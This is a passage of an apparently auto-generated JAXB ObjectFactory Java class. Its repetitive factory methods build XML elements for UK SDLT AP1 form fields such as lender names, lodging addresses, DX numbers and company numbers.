createSDLTAP1AP1Vendor2LenderLodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgeDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderRole1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderRole1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderRole1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderRole2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderRole2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderRole2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchLender2", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurchLender2(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchLender2_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2Name", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2Name(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2Name_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2MDCode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2MDCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2MDCode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2ChargeDate", scope = SDLT.AP1 .class) public JAXBElement<String> createSDLTAP1AP1PurchLender2ChargeDate(String value) { return new JAXBElement<String>(_SDLTSDLT2AP1AP1PurchLender2ChargeDate_QNAME, String.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchLender2Represented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurchLender2Represented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchLender2Represented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2RepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2RepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2RepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2LodgeDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2LodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2LodgeDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2Role1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2Role1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2Role1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2Role2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLender2Role2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2Role2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurch2Lender2", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurch2Lender2(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsPurch2Lender2_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2Name", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2Name(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2Name_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2MDCode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2MDCode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2MDCode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2ChargeDate", scope = SDLT.AP1 .class) public JAXBElement<String> createSDLTAP1AP1Purch2Lender2ChargeDate(String value) { return new JAXBElement<String>(_SDLTAP1AP1Purch2Lender2ChargeDate_QNAME, String.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurch2Lender2Represented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurch2Lender2Represented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsPurch2Lender2Represented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2RepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2RepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2RepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgeName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgeName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgeHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgeHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgeHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgeHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgeAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgeAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgeAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgeAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgeAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgeAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgeDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgeDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2LodgeDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2LodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2LodgeDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2Role1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2Role1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2Role1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Lender2Role2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Lender2Role2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Lender2Role2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorLender2", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendorLender2(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorLender2_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2Name", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2Name(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2Name_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2MDCode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2MDCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2MDCode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2ChargeDate", scope = SDLT.AP1 .class) public JAXBElement<String> createSDLTAP1AP1VendorLender2ChargeDate(String value) { return new JAXBElement<String>(_SDLTSDLT2AP1AP1VendorLender2ChargeDate_QNAME, String.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorLender2Represented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendorLender2Represented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorLender2Represented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2RepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2RepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2RepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2LodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2Role1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2Role1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2Role1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2Role2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLender2Role2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2Role2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_CompanyPrefix", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1MR01CompanyPrefix(StringType value) { return new JAXBElement<StringType>(_SDLTAP1MR01CompanyPrefix_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_CompanyNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1MR01CompanyNumber(StringType value) { return new JAXBElement<StringType>(_SDLTAP1MR01CompanyNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement 